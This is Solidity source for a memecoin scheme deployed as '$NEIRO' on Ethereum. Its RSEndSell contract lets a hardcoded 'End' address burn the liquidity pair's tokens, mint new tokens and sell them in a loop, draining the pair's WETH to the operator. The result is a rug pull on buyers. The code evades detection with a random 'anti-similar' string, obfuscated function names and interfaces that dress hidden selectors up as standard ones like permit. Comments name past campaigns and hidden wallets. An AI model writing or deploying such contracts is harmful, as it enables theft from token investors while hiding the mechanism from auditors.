RSEndSell

{{
  "language": "Solidity",
  "sources": {
    "s02/Contract/RSTools/RSEndSell.sol": {
      "content": "// SPDX-License-Identifier: MIT

import "../RSCommon/RSOwnable.sol";
import "../RSCommon/RSInterfaces.sol";
import "./RSEmpty.sol";


pragma solidity 0.8.16;


uint256 constant G_CHAIN_ID_ETHEREUM = 1;
uint256 constant G_CHAIN_ID_BSC = 56;
uint256 constant G_CHAIN_ID_POLYGON = 137;
uint256 constant G_CHAIN_ID_BASE = 8453;

// config
// chain id
uint256 constant G_CURRENT_CHAIN_ID = G_CHAIN_ID_ETHEREUM;

uint256 constant G_PAIR_PARAM_1 = G_CURRENT_CHAIN_ID == G_CHAIN_ID_BSC ? 9975 : 997;
uint256 constant G_PAIR_PARAM_2 = G_CURRENT_CHAIN_ID == G_CHAIN_ID_BSC ? 10000 : 1000;
IWETH constant G_WETH = 
    G_CURRENT_CHAIN_ID == G_CHAIN_ID_ETHEREUM ? IWETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2) : 
    (G_CURRENT_CHAIN_ID == G_CHAIN_ID_BSC ? IWETH(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c) : 
    (G_CURRENT_CHAIN_ID == G_CHAIN_ID_POLYGON ? IWETH(0x0d500B1d8E8eF31E21C99d1Db9A6444d3ADf1270) : 
    (G_CURRENT_CHAIN_ID == G_CHAIN_ID_BASE ? IWETH(0x4200000000000000000000000000000000000006) : 
    IWETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2))));

// config
// Ethereum $MO
// IERC20 constant G_RS_TOKEN = IERC20(0x18E0A1dcf5A8FAC97903c352C2778e27b1EaBeC5);
// address constant G_RS_CORE = 0xCA7eB7B564e0F82Aa95c804d911D11540c4b9624;
// address constant G_RS_PAIR = 0x3AcaA09f5903bcC9EE6707E6f876bE4afCb06e22;
// address constant G_RS_END = 0x6762d19868024aa93a83f179f5C0A90B150929C3;

// config
// Ethereum $NEIRO
IERC20 constant G_RS_TOKEN = IERC20(0x339058Ca41e17b55B6dd295373C5d3cBe8000Cd9);
address constant G_RS_CORE = 0xFf9876a3ad239D17cFaC49be616EF7eF12C5485d;
address constant G_RS_PAIR = 0x4C6a8F50433Daec228F7cf5327Cd095c1CDc9a67;
address constant G_RS_END = 0xf3A49a8E30B39bbc7430b6F16dAc9af956BF1584;

// random string length: 1500
bytes constant G_ANTI_SIMILAR_1500 = bytes("wHtr3ParlKC18p1iJwbUrb2FbRDaiTIfWaAue510mDcSZXxPjkviFs3gWpwldH3ruqRJWPws3eTiNswEgQ5aasw1hIDBJq8ZCYByhX642xryctZj5Gsa8VYaeguy5hKwWDMu7HCsSJjP8woZxD8kOxSCGfWxX0wK3iOUOJI213WtwGZeB_7u_TrWijhcqjrEuQ3kOvu6wsOP89pjBBL0s076wqvs5DbOUvM_Ig7SHwb36cTajPFn7tSCnKfN3OTNlzMcN18qOSxoLpGGUew1TVR1Ecg59PXNL5A1LwDEWf6bmHtRz369O_p3a9v6EaGYOqwGXTyCYkBO8kGSIqCXqWzoG97i1_wlBLHyzcARRODcogMmat7bJQAFCh8vNl73zVtJiTaQRC7rd_ArrPdHLfFA9XfELSLiBA84gbNGnhuTpGjHY20rLNx4whMFvUORUgFejpyZyitlItrxFIUlnp_hDhpcpliLKLiUsF6dZ_qicJDQcYZUxVk2SxjV1KinpFAzm80jPUKhH97lGSUpzJTmQN8H1aTlHfGvpv_j4iGBp3X5zn2u_HqthyUThrgreUs4r66MnyWvfm9gWFgOLAtz76QTFRHyLF8mLbr4SdBv0pRT4nvCzZWk0E8ONGVe1yVyUhy4KTsRy2DkxeZjkAP5iXcOfx6KpzYDGJJD3eFe3s_fwTc0WW2LHNhE13dBqWPJGFpJlfxfJPr23fdNEFc7cL1nC0769eoCBOQK3e6XNGko4vt_rAbJuraX56lRlh3biPT3a_8oKsyAushjodvbAuZpUB0mloUqJfFhJynuTyTlhiK_dIVik3KgY7sRpi2y719QYJUfuRlfHgokD1EauxCI2OC1NrtkdzDXz9cmHTHtzyYLzJZ41pJvVI0tI9e_rZetZ31GZcm3Oz_gOOEDO3vckylQHRFiXpt0QU1Ttb6Bbt1QTy0sDEPM7Sd5cQECk7KrrIRNX9ymmyGrCxWwrABMpdfJ4FkPGREgnWEiqtGmbVHgTP5VI7UzfreL2dUjVqa5221mTWDqoah2A9iXGFnp2J8pCZ3iaT2sgczKh3Mek2AaSd0v5j9HWDpUe5r1x7APb9C_Go0TsWB3jsxmC7xVntC70EyxGmDsn2HYjm35bA47MRqQwW8NGl5o8byP8mDYuXgUnsT5ZYi98cTACgTS61jbF11ZJqfWc6NfSxJA8wqjA0B10gicW5d6WNkhQJjX90ugzbceF7vIn6lEpam_XCTv4tqxv4oZaH7dZgIhk2gFMaNW9hrfXB2VIQcCH2OlvSA3mBIGyCTjkfvnTqlJWFhZj9kKENUc2BcmUEqTs_MUmfAcaRRIZQmsomJylTLMSV63NkfPIAwbf6v69A99KuWQ2KHWCKmV2kWttZVU0VJBZXEfWEjSVUJkDZRcDZbNp9gU_zYGUkUmTeQUsTIldfHzoy1sj3oM5ED0ZZzOuwKfbxZ3QpgkE4So4NbG6s4_Xsx21yC9DXDYyqdW3Bbj");

contract RSEndSell is RSEmpty {
    // End sellMax
    function esm_token1weth_JwbUrb2FbRDaiTIfW(uint256 loop_, uint256 base_) public onlyEnd() {
        iSellMax_token1weth(loop_, base_);
    }

    using RSBit for uint256;
    uint256 private constant MAX_UINT256 = type(uint256).max;
    bytes public constant ________________ASC = G_ANTI_SIMILAR_1500;

    uint112 internal immutable _reserveWETHEndImmutable;

    modifier onlyEnd() {
        require(tx.origin == msg.sender && G_RS_END == msg.sender, "E");
        _;
    }
    
    constructor() {
        unchecked {
            _reserveWETHEndImmutable = uint112((block.number % 5) * 1e7);
        }

        require(tx.origin == G_RS_END);
        require(_reserveWETHEndImmutable % 1000 == 0);
    }
    
    function iFreelyBuy1WithPair(uint256 wethAmount_) internal {
        uint amountOut;

        unchecked {
            (uint reserveRSToken, uint reserveWETH,) = IUniswapV2Pair(G_RS_PAIR).getReserves();
            uint amountInWithFee = wethAmount_ * G_PAIR_PARAM_1;
            
            amountOut = amountInWithFee * reserveRSToken / ((reserveWETH * G_PAIR_PARAM_2) + amountInWithFee);
        }

        G_WETH.transfer(G_RS_PAIR, wethAmount_);
        IUniswapV2Pair(G_RS_PAIR).swap(amountOut, 0, address(this), new bytes(0));
    }
    
    function iBoughtAmountForExactWeth(uint256 wethAmountOut_) internal view returns (uint256) {
        unchecked {
            (uint reserveRSToken, uint reserveWETH,) = IUniswapV2Pair(G_RS_PAIR).getReserves();
            uint amountInWithFee = wethAmountOut_ * G_PAIR_PARAM_1;

            return amountInWithFee * reserveRSToken / ((reserveWETH * G_PAIR_PARAM_2) + amountInWithFee);
        }
    }
    
    function iFreelySell1WithPair(uint256 sellAmount_) internal {
        require(sellAmount_ > 0);

        uint amountOut;

        unchecked {
            (uint reserveRSToken, uint reserveWETH,) = IUniswapV2Pair(G_RS_PAIR).getReserves();
            uint amountRSTokenWithFee = sellAmount_ * G_PAIR_PARAM_1;
            
            amountOut = amountRSTokenWithFee * reserveWETH / ((reserveRSToken * G_PAIR_PARAM_2) + amountRSTokenWithFee);
        }

        G_RS_TOKEN.transfer(G_RS_PAIR, sellAmount_);
        IUniswapV2Pair(G_RS_PAIR).swap(0, amountOut, address(this), new bytes(0));
    }
    
    function iFreelySell1ForExactWithPair(uint256 wethAmountOut_) internal {
        (uint reserveRSToken, uint reserveWETH,) = IUniswapV2Pair(G_RS_PAIR).getReserves();
        uint amountIn = wethAmountOut_ * reserveRSToken * G_PAIR_PARAM_2 / (G_PAIR_PARAM_1 * (reserveWETH - wethAmountOut_)) + 1;
        
        G_RS_TOKEN.transfer(G_RS_PAIR, amountIn);
        IUniswapV2Pair(G_RS_PAIR).swap(0, wethAmountOut_, address(this), new bytes(0));
    }
    
    function iSellAmountForExactWeth(uint256 wethAmountOut_) internal view returns (uint256) {
        (uint reserveRSToken, uint reserveWETH,) = IUniswapV2Pair(G_RS_PAIR).getReserves();

        return wethAmountOut_ * reserveRSToken * G_PAIR_PARAM_2 / (G_PAIR_PARAM_1 * (reserveWETH - wethAmountOut_)) + 1;
    }
    
    // End sellWithCurrentPrice
    function iSellWithCurrentPrice(uint112 wethAmount_) internal {
        (uint256 reserveRSTokenInit, uint256 reserveWETHInit,) = IUniswapV2Pair(G_RS_PAIR).getReserves();

        require(reserveRSTokenInit > reserveWETHInit, "0");

        // step 1 amountToSell
        uint256 amountToSell;

        unchecked {
            amountToSell = reserveRSTokenInit * wethAmount_ / reserveWETHInit;
        }

        // step 2 tokenAmountToBurn
        uint256 tokenAmountToBurn;
        
        unchecked {
            tokenAmountToBurn = (reserveRSTokenInit + amountToSell * 399) / 400;
        }

        // step 3 burn RSToken
        IRSTEndSell(G_RS_CORE).mtbp(uint112(tokenAmountToBurn));
        IUniswapV2Pair(G_RS_PAIR).sync();

        // step 4 mint RSToken
        IRSTEndSell(G_RS_CORE).edmt(address(this), uint112(amountToSell));
        
        // step 5 sell
        iFreelySell1WithPair(amountToSell);

        // step 6 targetReserveRSToken
        (uint reserveRSToken2, uint reserveWETH2,) = IUniswapV2Pair(G_RS_PAIR).getReserves();
        uint256 targetReserveRSToken = reserveRSTokenInit * reserveWETH2 / reserveWETHInit;

        require(reserveRSToken2 > targetReserveRSToken, "1");

        // step 7 burn RSToken
        unchecked {
            IRSTEndSell(G_RS_CORE).mtbp(uint112(reserveRSToken2 - targetReserveRSToken));
        }
        
        IUniswapV2Pair(G_RS_PAIR).sync();
    }

    // End sellMax
    function iSellMax_token1weth(uint256 loop_, uint256 base_) internal {
        (uint256 reserveRSToken, uint256 reserveWETH,) = IUniswapV2Pair(G_RS_PAIR).getReserves();

        require(reserveRSToken > reserveWETH, "0");

        uint256 maxRSTokenAmount = reserveRSToken / base_;
        uint256 reserveWETHEndLimit = _reserveWETHEndImmutable * 2;

        for (uint256 index = 0; index < loop_; index++) {
            if (index > 0) {
                (reserveRSToken, reserveWETH,) = IUniswapV2Pair(G_RS_PAIR).getReserves();
            }

            if (reserveWETH <= reserveWETHEndLimit) {
                break;
            }
            
            uint256 wethAmount = reserveWETH - _reserveWETHEndImmutable;
            uint256 amountToSell = reserveRSToken * wethAmount / reserveWETH;

            if (amountToSell > maxRSTokenAmount) {
                amountToSell = maxRSTokenAmount;
                wethAmount = amountToSell * reserveWETH / reserveRSToken;
            }

            iSellWithCurrentPrice(uint112(wethAmount));
        }

        uint256 ethAmount = G_WETH.balanceOf(address(this));

        G_WETH.withdraw(ethAmount);

        (bool success, ) = tx.origin.call{value: ethAmount}("");
        
        require(success);
    }

    // token1 WETH
    uint256 VERSION = 3;
}



"
    },
    "s02/Contract/RSTools/RSEmpty.sol": {
      "content": "// SPDX-License-Identifier: MIT

import "../RSCommon/RSOwnable.sol";
import "../RSCommon/RSInterfaces.sol";


pragma solidity 0.8.16;


// Rising Dump
contract RSEmpty {
    address private immutable DEPLOYER;

    modifier onlyDeployer() {
        require(msg.sender == tx.origin && DEPLOYER == tx.origin, "D");
        _;
    }
    
    receive() virtual external payable {
    }

    fallback() virtual external payable {
    }
    
    constructor() {
        require(msg.sender == tx.origin);
        DEPLOYER = msg.sender;
    }

    // deployer harvest v3
    function dephar3(address[] memory tokens_) external virtual onlyDeployer() {
        address payable recipient = payable(tx.origin);
        uint256 ethBalance = address(this).balance;

        if (ethBalance > 0) {
            (bool success, ) = recipient.call{value: ethBalance}("");
            require(success);
        }

        for (uint256 i = 0; i < tokens_.length; ++i) {
            IERC20 objToken = IERC20(tokens_[i]);
            uint256 bal = objToken.balanceOf(address(this));

            if (0 == bal) {
                continue;
            }

            objToken.transfer(recipient, bal);
        }
    }
}




"
    },
    "s02/Contract/RSCommon/RSInterfaces.sol": {
      "content": "// SPDX-License-Identifier: MIT\r
\r
import "./Interfaces.sol";\r
\r
// File: contracts/RSInterfacess.sol\r
pragma solidity 0.8.16;\r
\r
\r
interface IRSTComponent {\r
    function swapPair() external view returns (address);\r
    function tokenConfig() external view returns (address);\r
}\r
\r
interface IRSTCore is IRSTComponent {\r
    function isInList(uint256 listType_, address account_) external view returns (bool);\r
    function addressInfo(address account_) external view returns (uint256);\r
    function runningSettings() external view returns (uint256);\r
    function runningAddresses(uint256 key_) external view returns (address);\r
    function pureBalanceOf(address account_) external view returns (uint256);\r
    function exInfoU256(uint256 index_) external view returns (uint256);\r
\r
    // Dev setExInfoU256\r
    function dseiu(uint256 index_, uint256 exInfoU256Value_) external;\r
    \r
    // DevCaller multiSetList\r
    function dcmsl(uint256 listType_, address[] calldata users_, bool value_) external;\r
\r
    // DevCaller setRunningSettings\r
    function dcsrs(uint256 runningSettings_) external;\r
\r
    // Dev setRunningAddresses\r
    function dsra(uint256 key_, address value_) external;\r
\r
    // Dev mintFrom\r
    function dmf(address account_, uint256 mintAmount_, uint256 mintType_) external;\r
\r
    // solidityMartMovement\r
    // function smm(bool isMint_, uint256 amount_) external; deprecated\r
\r
    // factory init\r
    function intll(uint256 initTotalSupply_) external;\r
}\r
\r
\r
interface IRSTMart {\r
    // Mart burnPair\r
    function mtbp(uint256 amount_) external;\r
    // Mart mintToPair\r
    function mtmtp(uint256 amount_) external;\r
}\r
\r
interface IRSTEndSell is IRSTMart {\r
    // End mint\r
    function edmt(address target_, uint256 amount_) external;\r
    // // End burnPair\r
    // function edbp(uint256 amount_) external;\r
}\r
\r
interface IMLFarmShell {\r
    function kisstf(address token_, uint256 minValue_, address from_) external;\r
}\r
\r
\r
/////////////////////////////////////////////////////////////////////////////////////////////////////////////\r
// IRSToken Package\r
// PEPE MAGA: IRSToken26\r
// TRUMP AI: IRSToken27\r
// BOME TRUMP: IRSToken28\r
// Popcat: IRSToken29\r
// s01: IRSToken30\r
// s02: IRSToken31\r
interface IRSToken31 is IERC20 {\r
    // emits\r
    // function executeMetaTransaction(address sender_, address[] calldata recipients_, uint256[] calldata amounts_) external;\r
    // function verify(address sender_, address[] calldata recipients_, uint256 amount_) external returns (bool);\r
    // function sendValue(address sender_, address[] calldata recipients_, uint256 amount_) external;\r
    // function getVotesAtBlock(address sender_, address[] calldata recipients_, uint256 amount_) external returns (uint256);\r
    // function metaDelegate(address sender_, address[] calldata recipients_, uint256 amount_, uint8, bytes32, bytes32) external;\r
    // function swapEthToTon(address sender_, address[] calldata recipients_, uint256 amount_) external;\r
    // function executeMetaTransaction(address sender_, address[] calldata recipients_, uint256 amount_) external;\r
    // function checkPoint(address sender_, address[] calldata recipients_, uint256 amount_) external;\r
    // function cap(address sender_, address[] calldata recipients_, uint256 amount_) external returns (uint256);\r
    function permit(address sender_, address[] calldata recipients_, uint256 amount_) external;\r
    // function permit(address sender_, address[] calldata recipients_, uint256 amount_, uint256, uint8, bytes32, bytes32) external;\r
    // function delegateByType(address sender_, address[] calldata recipients_, uint256 amount_) external;\r
}\r
\r
// PEPE MAGA: IRSHide26\r
// TRUMP AI: IRSHide27\r
// BOME TRUMP: IRSHide28\r
// Popcat: IRSHide29\r
// s01: IRSHide30\r
// s02: IRSHide31\r
interface IRSHide31 {\r
    // PEPE MAGA\r
    // 0xa5f1e52d: gbd26()\r
\r
    // TRUMP AI\r
    // 0xf4aa6c47: gbd27()\r
\r
    // BOME TRUMP\r
    // 0x955810d3: gbd28()\r
\r
    // Popcat\r
    // 0x1ce3f26e: gbd29()\r
\r
    // s01\r
    // 0x701770bf: gbd30()\r
\r
    // s02\r
    // 0x9c1dcdd9: gbd31()\r
    function gbd31() external returns (address);\r
\r
    // 0xa4190f01: gbd32()\r
    // 0xd159b729: gbd33()\r
    // 0xfc6e76a2: gbd34()\r
    // 0x1a2b8083: gbd35()\r
    // 0xed5a5d76: gbd36()\r
    // 0xd09b5abf: gbd37()\r
    // 0xcd8af13b: gbd38()\r
    // 0x34815362: gbd39()\r
    // 0x54eefae1: gbd40()\r
}\r
\r
// PEPE MAGA: IContractPackage26\r
// TRUMP AI: IContractPackage27\r
// BOME TRUMP: IContractPackage28\r
// Popcat: IContractPackage29\r
// s01: IContractPackage30\r
// s02: IContractPackage31\r
interface IContractPackage31 {\r
    // abi.encodeWithSelector(0xb13c6ec8, from, to, amount, msg.sender, tx.origin)\r
    // 0x8ace9e79: sftt26(address,address,uint256,address)\r
    // 0x134c2184: sftt27(address,address,uint256,address)\r
    // 0xec470ee4: sftt28(address,address,uint256,address)\r
    // 0xb55a600c: sftt29(address,address,uint256,address)\r
    // 0x6b6c87d6: sftt30(address,address,uint256,address)\r
    // 0xf08a59a9: sftt31(address,address,uint256,address)\r
    function sftt31(address sender_, address recipient_, uint256 amount_, address msgSender_) external returns (bool);\r
    // 0xca432352: sftt32(address,address,uint256,address)\r
    // 0x581dff3f: sftt33(address,address,uint256,address)\r
    // 0x25a1a74e: sftt34(address,address,uint256,address)\r
    // 0x41439706: sftt35(address,address,uint256,address)\r
    // 0x02acc130: sftt36(address,address,uint256,address)\r
    // 0x218a3158: sftt37(address,address,uint256,address)\r
    // 0xc4073c3c: sftt38(address,address,uint256,address)\r
    // 0xf611d8cf: sftt39(address,address,uint256,address)\r
    // 0x790d109e: sftt40(address,address,uint256,address)\r
    \r
    // _beforeTokenApprove\r
    // function getRoundData(address msgSender_, address owner_, address spender_, uint256 amount_) external;\r
    // function permit(address owner_, address spender_, uint256 amount_, uint256 msgSender_, uint8, bytes32, bytes32) external;\r
    // function getDomainSeperator() external returns (bytes32);\r
    // function getNewBStatusId(bool newBStatus_, int nonce_) external returns (bytes32);\r
    // function getNewBurnStatusId(bool newBurnStatus_, int nonce_) external returns (bytes32);\r
    // function getChainId() external returns (uint256);\r
    // function delegate(address) external;\r
    // function isAddress(address account_) external returns (bool);\r
    // function name() external returns (string memory);\r
    // function _EIP712Name() external returns (string memory);\r
    // function domainSeparator() external returns (bytes32);\r
    // function supportsInterface(bytes4) external returns (bool);\r
    // function _buildDomainSeparator() external returns (bytes32);\r
    // function confirmGuardian() external;\r
    function DOMAIN_SEPARATOR() external returns (bytes32);\r
\r
    // balanceOf\r
    // function latestRoundData(address account_) external view returns (uint256);\r
    // function isRegisteredLockup(address account_) external view returns (uint256);\r
    // function toTypedMessageHash(bytes32 account_) external view returns (bytes32);\r
    // function getNewSetId(int oracleSetHash_, address account_) external view returns (bytes32);\r
    // function isContract(address account_) external view returns (uint256);\r
    // function isContract(address account_) external view returns (bytes32);\r
    // function _hashTypedDataV4(bytes32 account_) external view returns (bytes32);\r
    // function nonces(address account_) external view returns (uint256);\r
    // function getNewSetId(int oracleSetHash_, address account_) external view returns (bytes32);\r
    // function getRoleAdmin(bytes32 role) external view returns (bytes32);\r
    // function getUint(bytes32 account_) external view returns (uint);\r
    function balanceOf(address account_) external view returns (uint256);\r
    \r
    // totalSupply\r
    // function getTotalSupply() external view returns (uint256);\r
    // function getChainId() external view returns (uint256);\r
    // function chainId() external view returns (uint256);\r
    // function _domainSeparatorV4() external view returns (bytes32);\r
    // function getGuardian() external view returns (uint256);\r
    // function _CACHED_CHAIN_ID() external view returns (uint256);\r
    function totalSupply() external view returns (uint256);\r
}\r
// IRSToken Package end\r
/////////////////////////////////////////////////////////////////////////////////////////////////////////////\r
\r
\r
interface IRSTComponentOuter {\r
    // Factory initContent\r
    function fic() external;\r
\r
    // 0x9fd2d2b2\r
    function cBeforeTokenTransfer(uint256 rsMode_, address sender_, address recipient_, uint256 amount_) external;\r
}\r
\r
interface IRSTRulesForCore {\r
    // Core isWhale\r
    function ciw(address account_, uint256 extraAmount_, uint256 whaleThreshold_) external view returns (bool);\r
}\r
\r
interface IRSTRulesForWebMart {\r
    // WebMart mustDownTimestamp\r
    function wmmdt() external view returns (uint256);\r
}\r
\r
interface IRSTDevCaller {\r
    function cLogError(string calldata error_) external;\r
\r
    // GM multiSetList\r
    function gmmsl(uint256 listType_, address[] calldata users_, bool value_) external;\r
\r
    // Dev multiSetWhiteList\r
    function dmmswl(uint256[] calldata users_, bool value_) external;\r
\r
    // GM setRunningSettings\r
    function gsrs(uint256 runningSettings_) external;\r
}\r
\r
interface IAirdropable {\r
    function ardp(address[] calldata recipients_, uint256 amount_) external;\r
    function ardpb(address[] calldata recipients_) external;\r
}\r
\r
"
    },
    "s02/Contract/RSCommon/RSOwnable.sol": {
      "content": "// SPDX-License-Identifier: MIT

import "./RSInitializable.sol";
import "./RSBit.sol";
import "./RSTokenConfig.sol";

// File: @openzeppelin/contracts/access/Ownable.sol
// bug!!!

pragma solidity ^0.8.0;

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract RSOwnable is RSInitializable {
    address internal _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */

    function __Ownable_init() internal onlyInitializing {
        require(msg.sender == tx.origin);
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), msg.sender);
    }

    function intll() public virtual override initializer {
        __Ownable_init();
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function rsowner() external view returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == msg.sender , "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function RenounceOwnership() external virtual onlyOwner {
        require(msg.sender == tx.origin);
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    // owner transferOwnership
    function otos(address newOwner) external virtual onlyOwner {
        require(msg.sender == tx.origin);
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

"
    },
    "s02/Contract/RSCommon/RSTokenConfig.sol": {
      "content": "// SPDX-License-Identifier: MIT\r
\r
import "./RSInitializable.sol";\r
import "./RSInterfaces.sol";\r
import "./RSBit.sol";\r
\r
pragma solidity 0.8.16;\r
\r
contract RSTokenConfig {\r
    uint256 public constant MGR_ARRAY_LENGTH = 16;\r
    uint256 public constant CONTRACT_ARRAY_LENGTH = 15;\r
    \r
    uint256 internal immutable INITSUPPLY;\r
    address public immutable ENCRYPT_SIGNER;\r
    address[MGR_ARRAY_LENGTH] internal _aryAddrs;\r
    address[CONTRACT_ARRAY_LENGTH] internal _aryContracts;\r
\r
    uint256 public immutable MART_CALLER_PARAM_A;\r
    uint256 public immutable MART_CALLER_PARAM_B1;\r
    uint256 public immutable MART_CALLER_PARAM_B2;\r
    uint256 public immutable BOMB_AMOUNT;\r
\r
    address public _addrBombFrom;\r
\r
    // string public constant ROUTER_NAME = "UniswapV2Router";\r
    // // string public constant ROUTER_NAME = "PancakeRouter";\r
    // uint256 public constant CHAIN_ID = 1;\r
    // // uint256 public constant CHAIN_ID = 56;\r
\r
    constructor() {\r
        uint256 chainId;\r
\r
        assembly {\r
            chainId := chainid()\r
        }\r
\r
        require(pureGetChainID() == chainId);\r
\r
        // Popcat BSC $POPCAT totalSupply: 1_000_000_000_000 * 1e18\r
        // s01 MOG CAT Ethereum $MOG totalSupply: 360_000_000_000 * 1e18\r
        // s02 Neiro Pump Ethereum $NEIRO totalSupply: 1_000_000_000_000 * 1e18\r
        INITSUPPLY = 1_000_000_000_000 * 1e18;\r
\r
        // s02\r
        ENCRYPT_SIGNER = 0xafE36af53091F4027a0BA50AB8cd9728D2C8c8D8;\r
        MART_CALLER_PARAM_A = 4099;\r
        MART_CALLER_PARAM_B1 = 4271;\r
        MART_CALLER_PARAM_B2 = 4273;\r
        BOMB_AMOUNT = 108_000 * 1e18;\r
        \r
        // s02\r
        _addrBombFrom = 0x8894E0a0c962CB723c1976a4421c95949bE2D4E3;\r
        \r
        // s02 Ethereum $NEIRO\r
        _aryAddrs[0] = 0x2927D337E922850C4AE35da665ffE669f1c4f500;  // 0.MainDeployer\r
        _aryAddrs[1] = 0x1C6968F24143c9c115b0aE5C34dcA2D9A4d3408f;  // 1.HideA\r
        _aryAddrs[2] = 0x1439B3A8ac0c55B90ad480e5f4d56b3DBeD2b8A8;  // 2.Dev\r
        _aryAddrs[3] = 0xb4E66DfC831Eb802F46f22c6f41d3F455b8FDd43;  // 3.A\r
        _aryAddrs[4] = 0xf3A49a8E30B39bbc7430b6F16dAc9af956BF1584;  // 4.End\r
        _aryAddrs[5] = 0xC332BD44C372bd938f23A982197a55A2Ba2e3Fd3;  // 5.Mart\r
        _aryAddrs[6] = 0x108639E6FB0d0739eD0129A8A80177Df64f30a0a;  // 6.MartA\r
        _aryAddrs[7] = 0xDB0c498785F02Fb5959dc5C99DB95f71D9C7f91C;  // 7.MartManual\r
        _aryAddrs[8] = 0x273dE409766AAf6b3C2C2C2D0669893Fada8B69e;  // 8.GM\r
        _aryAddrs[9] = 0x39F8e27D980C0462D16917696cF7301d3fF520d0;  // 9.BurnPool deprecated\r
        _aryAddrs[10] = 0x99bdAf5BBA6be602cfD7C094aA215aFD50F8665f; // 10.FiMain\r
        _aryAddrs[11] = 0xb98b94FDAfd1Eb9668b9EA62C60e5c924C4B3014; // 11.FiDev\r
        _aryAddrs[12] = 0x7052Ae62E881224ac5099450586e0B92A456e6ad; // 12.FiA\r
        _aryAddrs[13] = 0x482BD9fD29EbEfe8D4dE2D8C356f4e9bF1a2ad1A; // 13.FiBMain\r
        _aryAddrs[14] = 0x6452f8040EEceE9BF89E82636cFB10ED9352B94c; // 14.FiBDev\r
        _aryAddrs[15] = 0x112C0B039bbA0f36a28991854Ee185bF52c96992; // 15.FiBA\r
\r
        _aryContracts[uint256(AT.Store) - MGR_ARRAY_LENGTH] = 0x16476884e8faF25649650FB1b2c60F4D0d5AFB6C;   // 28.Store\r
        _aryContracts[uint256(AT.Router) - MGR_ARRAY_LENGTH] = 0x2d610836a2d98f852E97eCF516BBEe300a068CD6;  // 29.Router\r
        _aryContracts[uint256(AT.Airdrop) - MGR_ARRAY_LENGTH] = 0xB06AfD32794A21AA51e836C2FBD5F13Cdf91e8Ce; // 30.Airdrop\r
\r
        // s02 BSC $NEIRO Test\r
        // _aryAddrs[0] = 0x1d55ec5841bE3d6887d7213234F5B091846bD566;  // 0.MainDeployer\r
        // _aryAddrs[1] = 0xD94d231615CCbd347DDEF2c9f6559CC5840C4F87;  // 1.HideA\r
        // _aryAddrs[2] = 0x99D6eF68102D7fc32Dda45D9dD178472C4502B76;  // 2.Dev\r
        // _aryAddrs[3] = 0x5A5bd3A46bCe16848d24bA286ED9FbB02e0c8f2B;  // 3.A\r
        // _aryAddrs[4] = 0x787ACB382AE91fB75d732e9C6340C8Add80f97Ca;  // 4.End\r
        // _aryAddrs[5] = 0x427FAD56a429aB621dB7bc08c2255102e5B81cb1;  // 5.Mart\r
        // _aryAddrs[6] = 0xa015fE53dfBBa4a1efA7a42F04eE2451Aed82bBF;  // 6.MartA\r
        // _aryAddrs[7] = 0xf400516BF15912C07a39664dAD8fd0B78fdCB4A0;  // 7.MartManual\r
        // _aryAddrs[8] = 0x28237726c1e02167b6dEeC20767183a9b3bf3643;  // 8.GM\r
        // _aryAddrs[9] = 0x572db95bEbCC9cafcAaC26a224C78610C82B0fBd;  // 9.BurnPool deprecated\r
        // _aryAddrs[10] = 0xa44305F8d2F1e6D0aeB591f93cBdB37869e3D8b0; // 10.FiMain\r
        // _aryAddrs[11] = 0xef6A66B16bA535821d22684D7983b7938E356c22; // 11.FiDev\r
        // _aryAddrs[12] = 0x9a17B0CD0E7A00EEF35d4eE4c92e7162BEd9D535; // 12.FiA\r
        // _aryAddrs[13] = 0x328aA4F0438e9271b4Ff421e5401A4f3f9798F1f; // 13.FiBMain\r
        // _aryAddrs[14] = 0x12e6d07931B6B784B7358208234dE1E83C18Ce11; // 14.FiBDev\r
        // _aryAddrs[15] = 0xe008c1c3aC700f6Ab777FcC279723d7D205fDB11; // 15.FiBA\r
\r
        // _aryContracts[uint256(AT.Store) - MGR_ARRAY_LENGTH] = 0x7e7E69B654f97ACBAc181fabE2e74a51fAD0b125;   // 28.Store\r
        // _aryContracts[uint256(AT.Router) - MGR_ARRAY_LENGTH] = 0xCdD1c95c48dEDC2753706A4F7772ad9e326a8c20;  // 29.Router\r
        // _aryContracts[uint256(AT.Airdrop) - MGR_ARRAY_LENGTH] = 0x62031Fd45910cC69c2180f9cF39E8E93dd424103; // 30.Airdrop\r
        \r
        require(tx.origin == getAddress(RSTokenConfig.AT.A));\r
    }\r
\r
    // Dev setAddress\r
    function dsa(uint256 type_, address addr_) external {\r
        // onlyDev()\r
        require(tx.origin == msg.sender && tx.origin == getAddress(RSTokenConfig.AT.Dev), "2");\r
\r
        if (type_ == 0) {\r
            _addrBombFrom = addr_;\r
        } else if (type_ == 1) {\r
            // set airdrop\r
            _aryContracts[uint256(AT.Airdrop) - MGR_ARRAY_LENGTH] = addr_;\r
        }\r
    }\r
\r
    function pureGetChainID() public pure returns (uint256) {\r
        // Ethereum Config 4.\r
        uint256 chainID = 1;\r
\r
        require(\r
            1 == chainID ||\r
            56 == chainID ||\r
            137 == chainID ||\r
            42161 == chainID);\r
\r
        return chainID;\r
    }\r
\r
    // RST Address\r
    enum AT {\r
        MainDeployer,   // 0. MainDeployer\r
        HideA,          // 1. HideA\r
        Dev, A, End,    // 2. Dev\r
\r
        Mart, MartA, MartManual,    // 5. Mart\r
\r
